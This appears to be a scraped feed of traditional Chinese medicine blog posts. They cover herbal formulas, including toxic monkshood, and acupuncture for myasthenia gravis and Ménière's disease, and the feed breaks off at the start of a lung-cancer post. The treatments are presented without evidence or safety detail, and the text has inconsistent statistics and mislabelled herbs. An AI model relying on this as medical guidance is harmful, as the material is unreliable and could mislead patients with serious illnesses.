In this prescription, rehmannia, cornelian cherry and wolfberry are used to nourish the yin of the liver and kidneys; peony bark clears away heat evil and nourishes yin. Common yam and Indian bread invigorate the spleen and eliminate dampness evil; they also counteract the greasy properties of the other herbs. Teasel root tonifies the kidneys and strengthens tendons and bones. 

2. Blood deficiency and excessive dampness


Therapeutic aim: Nourishes the blood and dispels dampness evils. 

Prescription: Danggui Shaoyao powder plus additional supplement

dang gui Chinese angelica
bai shao white peony root
fu ling Indian bread
bai zhu large head atractylodes root
ze xie oriental waterplantain rhizome
chuan xiong Szechuan lovage root
fang ji four stamen stephania root
gui zhi cassia twig
gan jiang dried ginger
gan cao liquorice root

In the prescription, angelica, peony root and lovage root are used to activate blood circulation and nourish the blood. Cassia can remove obstruction in the meridians, activate blood circulation, and relieve joint pain. Indian bread, atractylodes root, waterplantain rhizome, and stephania root are used to invigorate the spleen and eliminate dampness evil. Ginger and liquorice root warm the middle burner and ease the stomach. Additionally, angelica, peony root, and lovage root can stimulate blood production. Indian bread, atractylodes root and cassia also eliminate the dampness evil and relax the tendons, as well as nourishing the tendons and bones.

3. Retention of dampness due to kidney deficiency

Therapeutic aim: Warms the yang and dispels dampness evils. 

Prescription: zhenwu decoction plus additional supplement 

zhi fu pian prepared common monkshood daughter root
bai shao white peony root
sheng jiang fresh ginger
fu ling Indian bread
bai zhu large head atractylodes root
gui zhi cassia twig
bu gu zhi malaytea scurfpea fruit
chuan duan Himalayan teasel root
sang ji sheng Chinese taxillus herb
xing ling pi epimedium herb
ji xue teng suberect spatholobus stem

In the prescription, monkshood and epimedium are used to warm the yang or the body. Ginger, Indian bread and atractylodes warm the middle burner (spleen and stomach) and promote the secretion of urine. Peony root, cassia and spatholobus nourish the blood and remove obstruction in all the meridians. Scurfpea, teasel and taxillus nourish the kidney and strengthen the bones, loins, and legs. 

4. Asthenia-syndrome of superficies with interior dampness retention

Therapeutic aim: Strengthens the middle burner, benefits the qi, harmonizes nutrients and defends qi. It does this by providing a yang energy in the body derived from the digestion and absorption of foods by the spleen and stomach. This helps protect the skin and muscle, provides resistance against the exogenous pathogens and regulates the secretion of sweat.

Prescription:fangyi huangqi decoction with modification

sheng huang qi fresh milkvetch root
fang ji four-stamen stephania root
sheng jiang fresh ginger
da zao Chinese date
gan cao liquorice root
gui zhi cassia twig
bai shao white peony rooti
cang zhu atractylodes root
sheng long ku unprocessed fossil fragment
sheng mu li fresh oyster shell

In the prescription, cassia, ginger, date, liquorice and milkvetch are used to tonify the stomach, nourish the middle burner, and benefit the qi. Peony root nourishes the qi and regulates the blood circulation. Stephania and atractylodes eliminate dampness evil and relieve joint pain. Fossil and oyster shell arrest premature ejaculation and sweating. The synergistic action of the herbs in this recipe consolidate body resistance, eliminate fluid retention, replenish the kidney and blood, and nourish muscles and bones. 

5. Cold in the superficies and heat in the interior

Therapeutic aim: Expels superficial pathogens and clears away heat evil.

Prescription: Yuebi Jiashu decoction with modification

ma huang ephedra
cang zhu atractylodes root
sheng jiang fresh ginger
da zao Chinese date
jiu gan cao liquorice root
shang shi gao unprocessed gypsum
fang ji four-stamen stephania root
mu gua papaya

In the prescription, ephedra, ginger, date and liquorice provide pungent and warming properties to warm the middle burner, invigorate the stomach, and relieve the exterior symptoms. Gypsum can clear away interior heat evil. Stephania, papaya, and atractylodes eliminate dampness evil and relieve joint pain.

6. Marrow deficiency and channels bi-syndrome

Therapeutic aim: Nourishes the marrow and smoothes the flow of qi and blood in all meridians.

Prescription: yougui pellet with modification

shu di huang processed rehmannia root
shan yao common yam root
shan zhu yu Asiatic cornelian cherry fruit
gou qi chi Barbary wolfberry fruit
jiu gan cao liquorice root
du zhong eucommia bark
rou gui cassia bark
zhi fu zi prepared common monkshood daughter root
wu she black snake
xing ling pi epimedium herb
cang zhu atractylodes root
gou ji cibot rhizome
sang ji sheng Chinese taxillus herb

In the prescription, monkshood, rehmannia, cassia, cornelian cherry, eucommia, cibot and epimedium invigorate the kidneys and strengthen the tendons and bones. Atractylodes and taxillus eliminate dampness evil and relieve joint pain. Liquorice helps regulate stomach function and benefits vital qi (energy).

 

]]> Myasthenia Gravis http://acuherb.us/myasthenia-gravis/ Fri, 30 Mar 2012 19:41:57 +0000 http://acuherb.us/?p=1454

By Dr. Ken. Wang

Myasthenia gravis is a chronic disorder of neuromuscular junction function that causes muscles to become weak and to tire easily. The specific pattern of muscle involvement is often important to diagnosis. 

The Brain and Nervous System
The central nervous system comprises the brain and spinal cord. Nerves are attached to the spinal cord and branch out to the entire body forming the peripheral nervous system. Nerve impulses can travel along each nerve in one direction only. One type of nerve (motor) carries signals from the brain to the legs, for example, and another (sensory) sends signals back from the legs to the brain.

 

Myasthenia gravis is an autoimmune disease that results in chronic defective transmission of nerve impulses to the muscles. The disease produces weakness and abnormally rapid fatigue of voluntary muscles. Symptoms improve after rest or medication. The disease usually presents between the ages of 10 and 50 years and women are affected more often than men in 200,000. It is an uncommon disease occurring in approximately one in 200,000 people.

Depending on the symptoms it produces, myasthenia gravis is placed in different traditional Chinese medicine (TCM) syndrome categories:

When weakness of the limbs predominates, it is classified as flacciditysyndrome. In TCM, this refers to a syndrome marked by weakness, limited movement and muscular atrophy (wasting) of the limbs, especially the lower limbs and results from lack of nourishment reaching the muscle tissue. This can be caused by consumption of body fluid by lung-heat, an overwhelming effect of dampness-heat evil, or weakness of the liver and kidneys leading to insufficiency of essence and blood.
If the main symptom is drooping of one or both eyelids, the syndrome is classified as ptosis.
In individuals presenting with weakness of the eye muscles and suffering from double vision, the syndrome is classified as vision changes.
Others classifications include drooping head or respiratory collapse and relate to corresponding manifestations of the disease.

Causes

Myasthenia gravis has an overall incidence of about four cases per million. There is no racial or geographic predilection, and the disorder can occur at any age. However, there is an increased incidence in young women, especially in the third decade, and in older men in the seventh decade.

The disease is caused by the autoimmune destruction of the acetylcholine receptors on the post-synaptic membrane of the muscle fiber. Immune complexes are deposited at the post-synaptic membranes causing interference with and later destruction of the acetylcholine receptor. The communication between the nerve impulses and muscle fibers is impaired or lost and muscle weakness results.

Click here to see structure of the Neuromuscular Junction

The process that initiates the immune response is unknown, but the thymus gland appears to be critical for both the autoimmune activation and the maintenance of the activated autoimmune state. Overgrowth of the thymus gland is found in 70 per cent of myasthenic patients below the age of 40 years. In 10 per cent of patients there is a tumor of the thymus gland and the incidence of this increases with age.

There is an association between myasthenia gravis and thyroid disease, rheumatoid disease, pernicious anemia and systemic lupus erythematosus. Myasthenia gravis is sometimes caused by D-penicillamine treatment in rheumatoid disease.

In TCM, myasthenia gravis is considered to be a complex disease. Many organs or systems of the body are involved and progress of the disease varies. Manifestations of the disease do not necessarily follow a prescribed order, but depend on the pathogenic factors involved and the mechanisms affected. The causes can be classified as follows:

Exogenous causes 
Invasion by exogenous pathogens leads to impaired functioning of organs and depletion of blood and vital energy (qi), contributing to the disease. TCM considers that blood belongs to yin-fluid, which is mainly responsible for providing moisture and nourishment to the tissues. The role of qi is to promote and consolidate all body functions. Deficiency in blood and qi result in inadequate supply of these essentials to the muscles, tendons and meridians and flaccidity syndrome results.

Endogenous causes
These can occur when an individual encounters emotional problems or damage by the seven modes of emotions (for example, anger damaging the liver, fear damaging the kidneys or melancholia damaging the spleen). The understanding in TCM is that the liver stores the blood that supports the tendons, and the kidneys store essence for the production of bone marrow. Both blood and essence are part of yin. If an individual’s liver-yin and kidney-yin are depleted, a virtual fire is created internally causing the supply of blood and essence to become exhausted. The tendons and muscles then lose their nutrient supply and become weak and numb.

Non-exogenous/endogenous cause
This is mainly the result of an imbalanced lifestyle and includes the eating of an improper diet (too much greasy or sweet food) or excess consumption of alcohol and leads to spleen and stomach injury. Stress and chronic disease can also result in a decline in qi and body fluid and cause spleen and stomach damage. The spleen and stomach are the primary organs for digestion and absorption; they extract nutritive essence from food and use it for the production of qi, blood and body fluids. If they do not function properly, muscle weakness, drooping eyelids or breathing difficulties can develop.

Congenital factors
Inborn defects, such as weakness of the spleen and stomach, yang-deficiency of the spleen and kidneys or yin-deficiency of the liver and kidneys, can cause failure in different organs and lead to the disease.

Symptoms

Weakness is the defining symptom of myasthenia gravis. Patients may not recognize it as such and complain to their doctor of double vision, difficulty swallowing, slurring of speech, or even a change in gait. Five areas of motor function are commonly affected and involve the muscles that control the following:

the eye
the face, nose and throat
respiration
the torso (pectoral and pelvic muscles), and
the arms and legs.

The symptoms may fluctuate from hour to hour, from day to day, or over longer periods. They are provoked or worsened by exertion, exposure to extremes of temperature, viral or other infections, menses and excitement. 

The symptoms experienced are commonly these: 

 

Eye muscle involvement often results in drooping of the upper eyelid and double vision. It usually affects both eyes and is asymmetrical.
Weakness of other muscles innervated by cranial nerves results in loss of facial expression, everted (pouting) lips, a smile that resembles a snarl, jaw drop, nasal regurgitation of liquids, choking on foods and secretions, and a slurred, nasal speech with a reduced volume.
Depending on the severity of the disease, difficulty breathing can appear on moderate or mild exertion or be present even at rest.
Abnormal tiredness of the limb muscles causes difficulty in combing the hair, lifting objects repeatedly, climbing stairs, walking and running.


Initially, the symptoms affect only the eyes in 40 per cent of patients; are generalized in 40 per cent; involve only the extremities in 10 per cent; and affect only the nose, mouth or throat, or these muscles and the eye muscles in another 10 per cent. Subsequently, the weakness can spread from the eye to the facial, salivary, swallowing and respiratory muscles and then to the torso and limb muscles, but the sequence may vary. Arm and leg muscles are affected more than hands and feet. In the most advanced cases the weakness is general throughout the body.

By the end of the first year, the eye muscles are affected in nearly all patients. The symptoms remain ocular (involving the eye) in only 16 per cent. In nearly 90 per cent of those in whom the disease becomes generalized, this occurs within the first year after the onset. Progression is most rapid within the first three years, and more than half of the deaths caused by myasthenia gravis occur in that period.

Spontaneous remissions lasting from weeks to years can occur. Long remissions are uncommon, and most remissions occur during the first three years.

TCM practitioners will examine a sufferer and categorize symptoms under special syndrome groups known as “disharmony patterns.” Certain disharmony patterns are present at different stages of a disorder. In myasthenia gravis, these can be classified into the following types:

Qi-deficiency in the spleen and stomach
Individuals present with drooping eyelids, weakness of the limbs, and difficulty in holding the head up and chewing food. Symptoms are worse towards the end of the day. Others symptoms include poor appetite, diarrhea, a reluctance to speak and shortness of breath.

Yang-deficiency in the spleen and kidneys
This often presents with drooping eyelids, limitation in muscular control of the eye, and limb weakness. Other accompanying symptoms are soreness in the loin region, spontaneous sweating, aversion to cold temperatures, cold limbs, a pale complexion, difficulty in swallowing, poor appetite and diarrhea, and the excretion of large volumes of dilute urine.

Yin-deficiency in the liver and kidneys
The main symptoms include drooping eyelids, difficulty in swallowing and chewing food, and limb weakness. Symptoms worsen towards the end of the day. Other accompanying symptoms are soreness and weakness in the lumbar (lower back) region and knees, dizziness, ringing in the ears, insomnia and nightmares. A feeling of dryness in both eyes and a hot sensation in the chest, palms of the hands and soles of the feet can develop.

Deficiency in both qi and blood
Individuals present with fatigue and weakness, palpitation, shortness of breath, a reluctance to speak, pale complexion, drooping eyelids, difficulty in swallowing and chewing food, muscle wasting and fatigue, and spontaneous sweating. 

Diagnosis

The presence of weakness (usually worse at the end of the day or after vigorous exercise), but without loss of sensation is necessary although not sufficient on its own to make the diagnosis of myasthenia gravis. Diagnosis is based on the clinical history, physical examination and results of specific tests and laboratory studies. 

Tensilon (edrophonium) test
Edrophonium chloride (an anticholinesterase) is given intravenously. If improvement in weakness occurs within seconds and lasts for two to three minutes the test is considered positive. Occasionally the test itself can cause respiratory constriction and fainting and is always carried out in a proper clinical setting.

Serum acetylcholine receptor antibodies
These disease-specific antibodies are present in 90 per cent of cases of generalized myasthenia gravis. The antibodies are found in no other condition.

Nerve stimulation
Stimulation of the motor nerve results in a characteristic decrease in muscle response.

Other tests
Chest X-ray may show a mass (enlarged gland) in the area of the thymus that can be confirmed by computed tomography scanning. Nothing unusual can be detected from peripheral blood samples.

Diagnosis in TCM places importance on determining the circumstances and manifestations of a disease through inquiry and symptom observation. Diagnosis is based on the traditional four examination techniques:

1. Questioning The TCM practitioner will establish the medical history of both the patient and his family.
2. Observation Examination of the physical features of the body, such as the face, tongue, hair, nails, sputum (mucus that is coughed up), and location of pain, all offer clues to the problem. The tongue is a particularly useful indicator of the functioning of the internal organs.
3. Listening and smelling The smelling of sputum and breath and listening to the sounds produced by the chest offer additional clues to the patient’s health.
4. Touching Feeling the pulse is a cornerstone of TCM diagnosis and gives the practitioner much information about any bodily imbalance.

In myasthenia gravis, the procedures used in TCM to differentiate between disharmony patterns can be explained as follows: 

Qi-deficiency in the spleen and stomach
Impaired functioning of the spleen and stomach causes an insufficiency in qi and blood production. This reduces the supply of nutrients available to the muscles and tendons and results in weakness in muscular contractions. A reluctance to speak and shortness of breath also result from qi and blood insufficiency. Poor appetite and diarrhea are symptoms of spleen weakness.

On examination, the tongue is swollen, pink in color, indented on the margins and coated with a thin, white fur. The pulse is weak and fine.

Yang-deficiency in the spleen and kidneys
Yang-deficiency implies under-functioning of these two organs. This leads to a decline in the storage of essence and muscle weakness results. Kidney-yang deficiency also causes soreness in the loin area, production of copious amounts of dilute urine and an aversion to cold temperatures.

On examination, the tongue is swollen, pink in color and covered with a thin, white fur. The pulse is deep and fine.

Yin-deficiency in the liver and kidneys
Yin-deficiency of these organs leads to essence and blood depletion and results in loss of nourishment and moisture to the body. Body structures, such as the muscles, bones and tendons, become weak. Liver-yin deficiency can also cause insomnia, nightmares and dryness of the eyes. Kidney problems cause dizziness, ringing in the ears, soreness and weakness in the loin area and the knees.

On examination, the tongue is red with a scanty fur covering. The pulse is fine and rapid.

Deficiency in both qi and blood
Deficiency in qi and blood not only affects the supply of nutrients to muscles and tendons, but also leads to general impairment of the whole body. In addition to symptoms of muscle weakness, individuals present with fatigue, palpitation, shortness of breath, pallor and spontaneous sweating.

On examination, the tongue is pale, swollen and indented on the margins. The tongue fur is white and thin. The pulse is deep and fine.

Treatment

There are three therapeutic options in the TCM treatment of myasthenia gravis: the regularization of disharmony patterns, use of Chinese patent medicines and acupuncture therapy.

Therapeutic regimens for disharmony patterns

Qi-deficiency in the spleen and stomach


Therapeutic aim: To Tonify the spleen and benefit the qi

Prescription: Buzhong yiqi decoction (modified)

dang shen pilose asiabell root
huang qi milk-vetch root
bai zhi large head atractylodes root
sheng ma cimicifuga rhizome
chai hu Chinese thorowax root
chen pi dried tangerine peel
dang gui Chinese angelica
sheng jiang fresh ginger
da zao Chinese date
yi yi ren coix seed
fu ling Indian bread

In this prescription, pilose asiabell, milk-vetch and large head atractylodes roots are used to tonify the spleen and benefit the qi. Cimicifuga rhizome and Chinese thorowax root improve the transformation and transportation functions in the spleen. Dried tangerine peel regulates the qi movement; Chinese angelica aids the blood; and fresh ginger and Chinese date improve the communication between the interior and exterior of the body. Coix seed and Indian bread invigorate the spleen and expel dampness evil. Used in combination, these ingredients invigorate the spleen and stomach, increasing production of nutrient essence and relieving symptoms.

Yang-deficiency in the spleen and kidneys

Therapeutic aim: To warm and tonify the spleen and kidneys

Prescription: Yougui bolus (modified)

fu zi monkshood
rou gui cassia bark
lu jiao jiao deerhorn glue
shu di processed rehmannia root
shan yu rou Asiatic cornelian cherry
tu si zi dodder seed
gou qi chi Chinese wolfberry fruit
du zhong eucommia
dang gui Chinese angelica
dang shen pilose asiabell root
huang qi milk-vetch root
shan yao common yam root
bai zhi large head atractylodes root

In this prescription, monkshood, cassia bark and deerhorn glue warm and invigorate the spleen and kidneys. Rehmannia root, Asiatic cornelian cherry, dodder seed, wolfberry and eucommia are used for nourishing the spleen-yin and kidney-yin. Chinese angelica replenishes the blood; and pilose asiabell, milk-vetch, common yam and large head atractylodes roots replenish the qi and tonify the spleen.

 

Yin-deficiency in the liver and kidneys

Therapeutic aim: To nourish and invigorate the liver and kidneys

Prescription: Zuogui bolus (modified)

sheng di fresh rehmannia rhizome
gou qi chi Chinese wolfberry fruit
shan yu rou Asiatic cornelian cherry
lu jiao jiao deerhorn glue
gui jiao tortoise shell glue
tu si zi dodder seed
niu xi achyranthes root
shan yao common yam root

In this prescription, fresh rehmannia rhizome is used in quantity for effective nourishment of the kidney-yin. Wolfberry replenishes the essence and improves visual acuity; and Asiatic cornelian reduces depletion of essence and calms the liver. Deerhorn glue invigorates the yang; and tortoise shell glue nourishes the yin. A combination of these two glues can replenish essence and bone marrow. Dodder seed and achyranthes root reinforce the lumbar (lower back) region and knees, and strengthen the tendons and bones. Common yam root tonifies the spleen and aids the kidneys.

 

Deficiency in both qi and blood

Therapeutic aim: To invigorate and replenish the qi and blood 

Prescription: Bazhen decoction (modified)

ren shen ginseng
fu ling Indian bread
bai zhi large head atractylodes root
gan cao liquorice root
dang shen pilose asiabell root
bai shao white peony root
shu di processed rehmannia root
chuan xiong Szechwan lovage root
sheng jiang fresh ginger
da zao Chinese date

In this prescription, ginseng, Indian bread, large head atractylodes root and liquorice root invigorate the spleen and benefit the qi. Pilose asiabell, white peony and rehmannia roots nourish the heart and blood. Szechwan lovage root improves the blood circulation; when combined with pilose asiabell root and rehmannia root, it increases blood production without causing an increase in viscosity (thickening). Fresh ginger and Chinese date help the ginseng and Indian bread to regulate the spleen and kidneys.

Chinese patent drugs
These drugs are available in small dosages and are readily absorbed on ingestion. They are more convenient to use because they are not bulky to carry about and are therefore more appropriate to a busy lifestyle. Taking a pill or a bolus is often easier for those who do not wish to consume large volumes of liquid or who do not like the bitter taste of decoctions. Examples of patent medicines used in the treatment of myasthenia gravis are:

Qi-deficiency in the spleen and stomach:Buzhong yiqi bolus
Yang-deficiency in the spleen and kidneys:Ginseng yangrong bolus
Yin-deficiency in the liver and kidneys:Liuwei dihuang bolus 
Deficiency in both qi and blood: 
Jinkui shenqi bolus

Acupuncture therapies
Use of acupuncture stimulates the meridians. These connect the internal organs with the limbs and their stimulation results in: 

activation of qi and blood
regulation of yin and yang
strengthening of the tendons and bones, and
lubrication of the joints.

Acupuncture can be used therefore as the main or an adjuvant therapy. 
Treatment is given daily over 10 days; four to five acupoints are selected each time and the needle retained for 20 to 30 minutes.

For drooping eyelids, acupoints are selected on the face: zan-zhu, yang-bai, yu-yao, si-bai and jing-ming.
For limb weakness: he-gu, nei-guan, wai-guan, san-yin-jiao, tai-chong, da-zhui, pi-yu, shen-yu and zu-san-li are used.

Otopuncture therapy 
This therapy is used weekly and applied to each ear alternately. The method involves acupoint embedding of the needle under the skin.

The acupoints used are spleen, kidney, liver and points for endocrine functions. 

 

]]> Ménière’s Disease http://acuherb.us/menieres-disease/ Wed, 28 Mar 2012 18:58:12 +0000 http://acuherb.us/?p=1446

By Dr. Ken. Y. Wang

 
Picture of ear anatomy
Eardrum, malleus, incus and stapes are hearing organs.
Semicircular canal (labyrinth), vestibular nerve and cochlea are balancing organs.
(Stedmans’s Medical Dictionary 27th edition copyright 1999)


Ménière’s disease is a disease of the inner ear. Build-up of fluid in the inner ear creates excess pressure and causes damage to the sense organs that are responsible for balance and hearing. A patient with Ménière’s disease typically presents with varying levels of hearing loss, a sense of fullness in the ears, tinnitus and episodes of vertigo.

The disorder is also known as endolymphatic hydrops. The cause is unknown, but it is a common ear, nose and throat (ENT) disease. The major clinical symptoms are frequent attacks of vertigo, tinnitus, degrees of hearing loss and a sensation of fullness in the inner ear. Symptoms will resolve with or without treatment. The disease is usually seen in the young and middle-aged adults, and approximately 75 per cent of cases occur in those aged 30 to 60 years. The incidence between the sexes is equal. A recent increase in the number of cases is probably related to the increasing risk of air pollution and chemical toxicity.

 

Ménière’s disease is a disorder of the fluid-filled semicircular canals of the inner ear (labyrinth).

Traditional Chinese medicine (TCM) practitioners focus on the dizziness that results from the disease and consider it to be ear related. The disorder is therefore categorized as “aural dizziness.” Dizziness is a sensation of unsteadiness with a feeling of movement within the head. It is also referred to as giddiness or vertigo and there is often blurring of vision. In mild cases, the symptoms disappear when the eyes are closed. In serious cases, patients experience a whirling sensation and the feeling that things about them are turning. There is also then a tendency to loose balance and fall; this is commonly accompanied by nausea, vomiting and sweating. 

Different TCM schools through the ages have varied in their theories on the etiology of this disease. The famous classic Huang Di Nei Jing (The Yellow Emperor’s Medicine Classic) held that “Dizziness with trembling extremities is a syndrome caused by the stirring of liver-wind inside the body. It is also related to qi deficiency and deficit in the sea of marrow, etc.” 

Causes

The understanding in TCM is that the disease mainly stems from internal injuries to the liver,  spleen and kidneys. This leads to loss of nourishment of the orifices and a deficit in the sea of marrow, resulting in dizziness. The causative factors of the organ damage include wind evil, fire evil and phlegm.

Excess of liver yang
The liver dominates the conduction and dispersal of qi movement. Liver-yang has the property of upward motion and causes qi or other things to ascend. Liver-yin, conversely, has the property of static motion and causes things to descend. Yin and yang mutually restrict and promote each other in order to maintain balance in the body. Hyperactivity of liver-yang or deficiency of liver-yin triggers the qi and blood to ascend to the brain. Moreover, the acceleration of qi movement also produces wind evil and leads to symptoms of dizziness or sudden blackouts.

Hyperactivity of liver-yang occurs in these situations:

In individuals who are prone to a natural excess of yang, the excess yang periodically triggers the generation of wind evil.
Emotional instability, especially long-term anger and depression, causes stagnation of the liver-qi. This results in the accumulation of fire evil in the body and the exhaustion of liver-yin. In turn, this activates the liver-yang and generates wind evil.
Damage to the kidneys, for example as a result of indulgence, results in a depletion of kidney essence and affects the liver-yang. According to the theory of the five elements, the kidneys (representing water) nourish and promote the liver (representing wood).


Obstruction of orifices by phlegm and dampness
Orifices are the openings on the body’s surface to the five internal organs. Phlegm and dampness evil are heavy and turbid (viscous) in nature. They tend to cause obstructions in the places where they accumulate. When these evils are brought up by qi and reach the head, they lodge easily in the orifices and cause dizziness. 

In TCM, it is believed that phlegm and dampness evil accumulate under the following conditions:

Consumption of an improper diet, such as an excess of fat and alcohol, irregular meal times, and excessive concentration and stress lead to malfunction of the spleen and stomach. The organ damage facilitates accumulation of dampness evil, which can then turn into phlegm.
Impaired functioning of the lungs, resulting in a failure to regulate and distribute fluid throughout the body, leads to a build-up of dampness evil.
When the kidneys fail to perform their vaporization function (removal of metabolic waste), excessive fluid will remain in the body.

Deficiency of the kidneys
The kidneys are responsible for storing essence  and producing the marrow of which the brain is composed. The kidneys therefore nourish the brain. In kidney deficiency, the brain loses this supporting nourishment and dizziness results.

TCM holds that impaired functioning of the kidneys or loss of kidney essence happens in the following conditions:

in individuals with congenital (inherited) weakness who do not care for themselves properly
aging
chronic disease
indulgence.

Symptoms

TCM practitioners will examine a sufferer and categorize symptoms under special syndrome groups known as “disharmony patterns.” Certain disharmony patterns are present at different stages of a disorder. In Ménière’s disease these can be classified into the following types:

Deficit in the sea of marrow 
Individuals present with frequent attacks of dizziness accompanied by severe ringing in the ears and obvious hearing loss. Other symptoms include listlessness, soreness and weakness in the back and knees, insomnia and irritability, nightmares,  spermatorrhea, poor memory, and a hot sensation in the chest, palms of the hands and the feet. 

Deficiency in qi and blood
During the dizziness attacks, individuals look pallid, are fatigued or sleepy, lack emotion and are reluctant to speak. Other symptoms include loss of appetite, diarrhea, shortness of breath, and wheezing and palpitation on exertion.

Flood of cold-dampness 
Individuals experience forceful palpitations during attacks, accompanied by an aversion to cold, a low body temperature and the spitting-up of large amounts of thin, clear sputum. Other symptoms include pain and a sensation of cold in the loin area, listlessness and lack of affect (emotion), frequent nocturnal urination, and production of large volumes of clear urine.

Disturbance of liver-yang 
These episodes usually happen after an emotional disturbance and are accompanied by impetuosity and irritability, headache, a flushed face and blood-shot eyes. Other symptoms include a bitter taste in the mouth, a dry throat, and a feeling of fullness and discomfort in the chest and below the ribs. Insomnia and nightmares may occur.

Obstruction by viscous phlegm 
Individuals experience heaviness and distension in the forehead during dizzy spells. Chest discomfort, nausea and sometimes severe vomiting can accompany these symptoms. Other symptoms include the production of large amounts of saliva and sputum, palpitation, poor appetite and fatigue.

Diagnosis

Diagnosis in TCM places importance on determining the circumstances and manifestations of a disease through inquiry and symptom observation. Diagnosis is based on the traditional four examination techniques:

1. Questioning The TCM practitioner will establish the medical history of both the patient and his family.
2. Observation Examination of the physical features of the body, such as the face, tongue, hair, nails, sputum (mucus that is coughed up), and location of pain, all offer clues to the problem. The tongue is a particularly useful indicator of the functioning of the internal organs.
3. Listening and smelling The smelling of sputum and breath and listening to the sounds produced by the chest offer additional clues to the patient’s health.
4. Touching Feeling the pulse is a cornerstone of TCM diagnosis and gives the practitioner much information about any bodily imbalance.

In Ménière’s disease, the procedures used in TCM to differentiate between disharmony patterns can be explained as follows:


Deficit in the sea of marrow
This syndrome group is the result of  kidney deficiency. When kidney essence becomes depleted, production of brain marrow declines. The brain loses nourishment and the result is dizziness. Furthermore, the ear is the surface opening of the kidney and as the kidneys also produce marrow for bones, ringing in the ears and soreness of the back and knees develop concomitantly. 

On examination, the tongue is red with scanty fur. The pulse is thready, fine and rapid. 

Deficiency in qi and blood
As defective qi circulation causes a disturbance to the function of the brain and insufficiency of blood leads to a lack of nourishment, the result to the brain is dizziness. Exertion consumes more qi and so triggers an attack. Other presentations of qi deficiency include fatigue, a reluctance to speak, sleepiness and lack of appetite.

 

On examination, the tongue is pale. The pulse is fine and rapid. 

Flood of cold-dampness 
The syndrome results from the retention of coldness and dampness evils, and damage to the kidneys. The evils not only obstruct the orifices in the head, leading to dizziness, they also bring manifestations of patterns of cold, such as a low body temperature, fatigue and lack of affect (emotion). Kidney damage is usually involved in this condition, so the individual may experience pain and a cold sensation in loin area, or frequent urination at night.

 

On examination, the tongue is pale, and coated with white and moist fur. The pulse is deep, weak and fine.

 

Disturbance of liver-yang 
This pattern is usually triggered by an emotional disturbance, which gives rise to hyperactivity of liver–yang and generates wind evil. The symptoms that result include dizziness, headache, insomnia and nightmares. Moreover, due to yang excess, individuals can also experience heat symptoms, such as a flushed face, blood-shot eyes, a bitter taste in the mouth and a dry throat. 

On examination, the tongue is red and coated with yellow fur. The pulse is taut and rapid.

Obstruction by viscous phlegm 
When phlegm remains in the head and causes obstruction of orifices, normal qi flow will be affected. The individual experiences dizziness, fatigue, and heaviness and throbbing in the forehead. When phlegm stays inside the organs, symptoms such as chest discomfort, nausea, vomiting and poor appetite develop. 

On examination, the tongue is pink, and coated by white and greasy fur. The pulse is uneven and slippery, or may be taut. 

Note: If a TCM practitioner suspects a serious problem that Chinese medicine alone cannot treat, he or she will recommend the individual to see a Western doctor for further follow-up. 

Treatment

TCM treatment of Ménière’s disease is based on two principles: 

Elimination in conditions of excess; and tonifying in conditions of deficiency.
Dealing with symptoms in the acute stage; and dealing with the origin of the disorder when it is chronic.

Chinese Medicine 

Deficit in the sea of marrow


Therapeutic aim: To nourish yin, tonify kidneys, replenish essence and benefit marrow.

Prescription:

shu di huang processed rehmannia root
shan zhu yu Asiatic cornelian cherry fruit
shan yao common yam root
mu dan pi tree peony bark
ze xie oriental water-plantain root
fu ling Indian bread
gou qi chi Chinese wolfberry fruit
ju hua chrysanthemum
shi jue ming sea-ear shell
duan mu li processed oyster shell
bai shao white peony root
he shou wu fleece flower root

A Chinese patent medicine such as Qiju Dihuang bolus is recommended as it can nourish yin and tonify the kidneys. 

Deficiency in qi and blood

Therapeutic aim: To replenish qi and blood, reinforce the spleen and calm the mind.

Prescription: 

huang qi milk-vetch root
dang shen pilose asiabell root
dang gui Chinese angelica
long yan rou longan aril
suan zao ren spine date seed
bai shu large head atractylodes root
fu ling Indian bread
mu xiang costus root
yuan zhi thin-leaf milkwort root
zhi gan cao liquorice root (processed with honey)

A Chinese patent medicines such asGuipi bolus is recommended to reinforce the spleen, benefit qi and promote blood production.

 

Flood of cold-dampness

Therapeutic aim: To warm the kidney yang, eliminate coldness evil and promote diuresis (elimination of fluid from the body by urination).

Prescription: 

fu zi monkshood
fu ling Indian bread
bai shu large head atractylodes root
sheng jiang fresh ginger
bai shao white peony root
zhi gan cao liquorice root (processed with honey)

A Chinese patent medicine such asFugui Bawei bolus is recommended. This warms the kidneys and reinforces the yang part of body.

Disturbance of liver-yang

Therapeutic aim: To smooth the liver, expel wind evil, nourish the yin and depress the yang component.

Prescription: Tianma Gouteng drink

tian ma tall gastrodia tuber
gou teng gambir plant
sheng shi jue ming fresh abalone shell
niu xi achyranthes root
du zhong eucommia bark
sang ji sheng Chinese taxillus herb
huang qin baical skullcap root
zhi zi Cape jasmine fruit
ye jiao teng fleece flower stem
fu shen foria with hostwood
gan cao liquorice root

A Chinese patent medicine such asLongdan Xiegan bolus is recommended. This clears heat and fire evils, promotes liver function and detoxifies.

Viscous phlegm obstruction

Therapeutic aim: To reinforce the spleen and liver, expel dampness evil and phlegm. 

Prescription: 

fa ban xia pinellia tuber (processed with liquorice root and lime)
tian ma tall gastrodia tuber
bai shu large head atractylodes root
fu ling Indian bread
ju hong dried tangerine peel
sheng jiang fresh ginger
da zao Chinese date
gan cao liquorice root

Acupuncture and moxibustion

The use of acupuncture and moxibustion can be helpful, for alleviating symptoms like vertigo and tinnitus. Treatment is conducted as follows:

When applying general methods, the usual acupuncture points are:
Bai-hui, shen-ting, shen-men, er-men, nei-guan, shen-mai, he-gu, zu-shan-li, feng-long, pi-shu, shen-shu, guan-yuan, feng-chi, xing-jian and zhong-wan. 
Three or four acupoints are stimulated each time.
When applying otopuncture therapy, the acupuncture points are: 
Forehead, heart, shen-men, kidney, occipital and inner ear. 
Two to three acupoints are stimulated each time.
When applying acupoint injection, the recommended acupuncture points are: 
He-gu, zu-shan-li, tai-chong, yi-ming or nei-guan, feng-chi and si-du.
Two to three acupoints are stimulated each time. Injections can include danshen, ginseng and Chinese angelica.

 


]]> Lung Cancer http://acuherb.us/lung-cancer/ Wed, 28 Mar 2012 17:44:30 +0000 http://acuherb.us/?p=1443

By Dr. Ken.  Wang

Lung cancer is the most comm only fatal of all cancers, killing more than half a million people worldwide every year. A majority of lung cancers are linked to tobacco use. As this habit becomes more prevalent, lung cancer numbers rise. It is the leading fatal cancer among adult males and is rapidly increasing in women, as more and more take up smoking.

